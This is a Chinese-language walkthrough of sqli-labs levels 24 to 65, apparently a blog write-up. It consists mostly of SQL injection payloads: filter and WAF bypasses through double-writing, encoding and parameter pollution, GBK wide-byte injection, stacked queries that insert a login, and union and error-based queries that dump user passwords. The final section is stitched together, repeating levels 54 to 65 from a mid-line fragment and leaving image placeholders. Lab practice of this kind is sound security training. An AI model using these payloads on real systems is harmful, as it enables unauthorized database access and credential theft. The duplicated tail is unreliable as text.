mysql_affected_rows()
函数只适用于INSERT、UPDATE、REPLACE和DELETE查询。对于SELECT查询,需要使用其他方法来获取结果集中的行数。
通过源码发现,只有username参数没有用到mysql_real_escape_string函数,于是可以从用户名下手
如果注册一个名为admin’#的用户,那么
这是原sql语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
若admin’#进行修改密码时,sql语句会变成
$sql = "UPDATE users SET PASSWORD='123456' where username='admin'# and password='$curr_pass' ";
发现,当输入admin再输入‘时,单引号不会输入,光标跳转到了原来的单引号后
所以此时进行修改的密码实际上时admin用户的密码
第二十五关(过滤and和or,双写绕过)
1.双写绕过
?id=1’ oorr extractvalue(null,concat(0x7e,database(),0x7e))%23
2.符号替换绕过数学符号
and = && or = ||&对应url编码%26,|对应url编码%7
?id=1’ || extractvalue(null,concat(0x7e,database(),0x7e))%23
3.注释绕过
and = an/**/d or = o/**/r
?id=1’ oorr extractvalue(null,concat(0x7e,database(),0x7e))%23
第二十五a关(基于GET盲注整形单引号)
整形闭合,没有报错信息了
payload:?id=-1 union select 1,(select group_concat(username,passwoorrd) from users) ,3–+
第二十六关(过滤and和or,#和–,斜杠和空格)
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
过滤了很多符号
绕过方式
1.编码绕过
- %09 TAB键(空格)
- %0A 新建一行(空格)
- %0C 新的一页
- %0D return即回车功能 (php-5.2.17,5.3.29成功)
- %0B TAB键(垂直)
- %A0 空格 (php-5.2.17成功)
2.括号绕过
- 用()绕过,意思就是不使用任何空格
payload:
&&extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))||'1
进行编码绕过后
?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))%7c%7c'1
第二十六a关(括号闭合,没有报错信息)
括号闭合,没有报错信息了
构建原payload:
?id=100') union select 1,database(),3||('1
对特殊字符进行编码后
?id=100')%0Bunion%0Bselect%0B1,database(),3%0B||('1
第二十七关(过滤了union和select)
源代码没有进行大小写的转换,输入单引号发现有报错信息,故用大小写混用绕过的报错注入即可
?id=1'%09and%09updatexml(1,concat(0x7e,(SeleCt(group_concat(username,password))from(users)),0x7e),1)and'1
第二十七a关(双引号闭合)
第二十八关(忽略大小写)
源代码中,过滤了 union select这个字符串,其中\s+代表匹配一个或多个空格,/i表示不区分大小写
在正则表达式中,反斜杠\
是用来转义特殊字符的,例如\s
表示匹配空白字符,\d
表示匹配数字字符。但是,在PHP中,反斜杠也是用来转义字符的。所以,如果要在PHP字符串中表示一个正则表达式中的特殊字符,需要用两个反斜杠来转义,例如\s
需要写成\\s
。
另一方面,正斜杠/
是用来分隔正则表达式的开始和结束的。在PHP中,通常使用正斜杠来包含正则表达式模式,以便进行匹配。因此,在PHP中,正则表达式通常用正斜杠包含起来。
所以可以用加字符绕过
union all select
UNION SELECT
会去重:这个语句将多个SELECT
语句的结果集合并成一个结果集,并去除其中的重复行。也就是说,如果多个SELECT
语句的结果中有相同的行,那么只会在最终结果集中保留一次。UNION ALL SELECT
不会去重:这个语句将多个SELECT
语句的结果集合并成一个结果集,但不会去除其中的重复行。也就是说,如果多个SELECT
语句的结果中有相同的行,那么在最终结果集中会保留所有的行。
?id=1')%0aand%0a1=2%0aunion%0aall%0aselect%0a1,database(),3%0aor ('1
或者是双写绕过
?id=1')%0aand%0a1=2%0aunion%0aunion%0aselect%0aselect%0a1,database(),3%0aor ('1
第二十八a关(只对union select进行了过滤)
查看源代码,未对字符进行过滤
第二十九关(HTTP参数污染)
参考原文:https://blog.csdn.net/m0_54899775/article/details/122156208
https://www.cooyf.com/notes/4.html
服务器(两层)架构介绍
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。工作流程为:client(客户端) 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
http参数污染:jsp/tomcat使用getgetParameter(“id”)获取到的是第一个值,php/apache使用$_GET[“id”]获取的是第二个值,那么第一个id纯数字,第二个id的值,也就是,需要注入两个参数,第二个参数才是可以实现sql注入的
常见的web服务器对相同名称参数出现多次的处理方式
WEB服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
ASP/IIS | Request.QueryString(“par”) | All (comma-delimited string) |
Python/Apache | getvalue(“par”) | All (List) |
HPP有什么用
利用参数污染可以改变web应用程序行为,访问或利用不可控变量,以及绕过输入验证检查、绕过某些防火墙对于 SQL注入的检测
架构为Apache (php),其解析最后一个参数
WAF只检查第一个参数,而后台程序取最后一个参数的值,那么这个请求就可以绕过WAF的检测
第三十关(双引号闭合)
和29关一样,用双引号闭合即可,不再赘述
第三十一关(双引号括号闭合)
除了闭合方式,都一样
第三十二关(宽字节注入)
使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1 \ ",使得引号不起作用
preg_replace是PHP的一个函数,用于执行正则表达式的搜索和替换。它的语法是:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )
它的参数说明是:
- $pattern:要搜索的模式,可以是一个字符串或一个数组。
- $replacement:要替换的字符串或数组。
- $subject:要进行搜索和替换的字符串或数组。
- $limit:可选,替换的次数上限,默认为-1,表示无限制。
- $count:可选,传递一个变量,用于存储替换的次数。
它的返回值是:
- 如果$subject是一个字符串,返回一个替换后的字符串。
- 如果$subject是一个数组,返回一个替换后的数组。
- 如果没有找到匹配,返回$subject不变。
- 如果发生错误,返回null。
但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
原理
客户端(如PHP,设置了GBK编码)-> 连接层(MySQL编码处理)-> 服务端(MySQL语句执行)
宽字节注入是一种利用MySQL的GBK编码特性,通过PHP发送恶意的字符到MySQL,造成SQL语句的拼接错误,从而执行SQL注入攻击的技术。宽字节注入的原理是:
GBK编码的特点是能够表示更多的汉字,包括繁体字和少数民族文字,但是不是国际标准,与其他编码方式不兼容,需要通过Unicode编码转换
- PHP发送请求到MySQL时,会根据character_set_client设置的值,对参数进行一次编码转换
- MySQL在使用GBK编码时,会认为两个字符是一个汉字,前一个ASCII码要大于128(超出标准ASCALL码范围),才到汉字的范围
- 如果参数中包含单引号(')或双引号("),并且前一个字符的ASCII码大于128,那么MySQL会将这两个字符当作一个汉字,从而导致SQL语句的拼接错误
- 例如,参数为%df’,PHP会将其转换为0xdf27,MySQL会将0xdf27当作一个汉字,而不是0xdf和0x27,从而忽略了单引号,造成SQL注入的可能
自己总结:服务器端先过滤特殊字符,而此时服务器端是gbk编码,所以会将他认为是汉字的字符传过去,而汉字不会被解释,所以闭合成功
payload:?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23
第三十三关(宽字节注入)
和32关一样
第三十四关(post类型宽字节注入)
此题再次发现反斜杠,利用之前所说的%df发现并没有效果
这是因为%df是url编码,这里我们可以通过汉字的方式去绕过,和%df类似,一些汉字的编码为一个三字节的编码,可以将三个字节拆开来看,前两个为一组,后面那个和\相编码为一个两字节绕过,从而单引号逃逸
第三十五关(联合查询宽字节注入)
这里是数字型注入,不需要符号闭合
构建payload:?id=1 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23
0x3c62723e是十六进制的表示,对于ASCLL中的
,可以将数据排列的整齐点
第三十六关(mysql_real_escape_string进行转义)
?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23
使用宽字节注入即可
第三十七关(post类型mysql_real_escape_string函数转义)
同34关
第三十八关(堆叠注入)
本关使用的查询语句是 mysqli_multi_query
函数,该函数允许我们通过 ; 同时执行多个语句
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+ 查询字段
?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+ 查询账号密码
第三十九关(整形闭合堆叠注入)
只改变了闭合方式,其他和上一关一样,不再赘述
第四十关(单引号加括号闭合堆叠注入)
只改变了闭合方式,其他和上一关一样,不再赘述
第四十一关(id为整数堆叠注入)
没什么好说的
第四十二关(post类型堆叠注入)
账号进行了转义处理密码没有做处理,数据库没有使用gbk编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码哪里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。
payload:login_user=1&login_password=1’;insert into users(id,username,password) values (‘39’,‘less30’,‘123456’)–+&mysubmit=Login
登录成功,说明注入成功了
第四十三关(post类型堆叠注入)
有单引号和括号闭合,其他同上一关一样
第四十四关(post类型堆叠注入)
无报错回显,可用时间盲注,其他同42关一样,不再赘述
第四十五关(post类型堆叠注入)
无报错回显,可用时间盲注,其他同43关一样,不再赘述
第四十六关(order by注入)
?sort=1 asc 和 ?sort=1 desc 是两种 order by 注入的方式,它们分别表示按照第一列升序和降序排序。如果网站没有对这些参数进行过滤,就可能存在 order by 注入的漏洞,攻击者可以利用这些漏洞来获取数据库的信息。
本关sql语句由order by执行
输入1,2,3表中出现不同数据,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用updatexml进行报错。
构建payload:
?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))
第四十七关(order by注入)
由单引号闭合的order by注入
方式与上一关相同,只是闭合条件不同,此处不再赘述
第四十八关(order by延时注入)
没有报错提示,所以使用延时注入,其他与四十六关相同,不再赘述
第四十九关(order by延时注入)
没有报错提示,所以使用延时注入,其他与四十七关相同,不再赘述
第五十关(order by注入)
和46关一样,可以使用updatexml进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。也可以延时注入
第五十一关(单引号闭合order by注入)
只是闭合方式改为了order by,其它与上一关一样
第五十二关(order by堆叠注入)
无闭合符号,没有回显报错信息,使用延时注入来进行堆叠注入即可
第五十三关(单引号闭合堆叠注入)
没有报错,单引号闭合,用堆叠注入和延时注入即可
第五十四关(次数限制)
只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就行。
用最简单的联合查询就行
1.获得表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
表名:ie87h1un0f
2.获取字段名
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='ie87h1un0f'--+
字段名:id,sessid,secret_WFZ8,tryy
3.获取key值
?id=-1%27union%20select%201,group_concat(secret_WFZ8),3%20from%20ie87h1un0f--+
b8TjKCZ3hUOkQ6LyC3iBRQao
第五十五关(括号闭合限定次数)
由括号闭合,其它和上一关相同,不再赘述
第五十六关(单引号与括号闭合限定次数)
由单引号与括号闭合,其它和上一关相同,不再赘述
第五十七关(双引号闭合限定次数)
由双引号闭合,其它和上一关相同,不再赘述
第五十八关(报错注入限定次数)
获取表
COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
获取字段
COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ZZVWJ42YS5' and table_schema='challenges'),0x7e),1)--+
获取key
COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+
第五十九关(整形注入限定次数)
整形注入,没有闭合,其他与上一关相同,此处不再赘述
第六十关(双引号括号闭合限定次数)
双引号括号闭合,其他与上一关相同,此处不再赘述
第六十一关(单引号与两个括号闭合限定次数)
单引号与两个括号闭合,其他与上一关相同,此处不再赘述
第六十二关(盲注限定次数)
联合查询,报错注入都不行,使用盲注,不再赘述
第六十三关(单引号闭合盲注限定次数)
单引号闭合,其他与上一关相同,此处不再赘述
第六十四关(双括号闭合盲注限定次数)
双括号闭合,其他与上一关相同,此处不再赘述
第六十五关(双引号与双括号闭合盲注限定次数)
双引号与双括号闭合,其他与上一关相同,此处不再赘述
=database()–+
[外链图片转存中...(img-s5GpEpVr-1678187793414)]
表名:ie87h1un0f
2.获取字段名
```sql
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='ie87h1un0f'--+
[外链图片转存中…(img-HcU0h6Ha-1678187793414)]
字段名:id,sessid,secret_WFZ8,tryy
3.获取key值
?id=-1%27union%20select%201,group_concat(secret_WFZ8),3%20from%20ie87h1un0f--+
[外链图片转存中…(img-h0V5OjeN-1678187793415)]
b8TjKCZ3hUOkQ6LyC3iBRQao
第五十五关(括号闭合限定次数)
由括号闭合,其它和上一关相同,不再赘述
第五十六关(单引号与括号闭合限定次数)
由单引号与括号闭合,其它和上一关相同,不再赘述
第五十七关(双引号闭合限定次数)
由双引号闭合,其它和上一关相同,不再赘述
第五十八关(报错注入限定次数)
获取表
COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
获取字段
COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ZZVWJ42YS5' and table_schema='challenges'),0x7e),1)--+
获取key
COPY?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+
第五十九关(整形注入限定次数)
整形注入,没有闭合,其他与上一关相同,此处不再赘述
第六十关(双引号括号闭合限定次数)
双引号括号闭合,其他与上一关相同,此处不再赘述
第六十一关(单引号与两个括号闭合限定次数)
单引号与两个括号闭合,其他与上一关相同,此处不再赘述
第六十二关(盲注限定次数)
联合查询,报错注入都不行,使用盲注,不再赘述
第六十三关(单引号闭合盲注限定次数)
单引号闭合,其他与上一关相同,此处不再赘述
第六十四关(双括号闭合盲注限定次数)
双括号闭合,其他与上一关相同,此处不再赘述
第六十五关(双引号与双括号闭合盲注限定次数)
双引号与双括号闭合,其他与上一关相同,此处不再赘述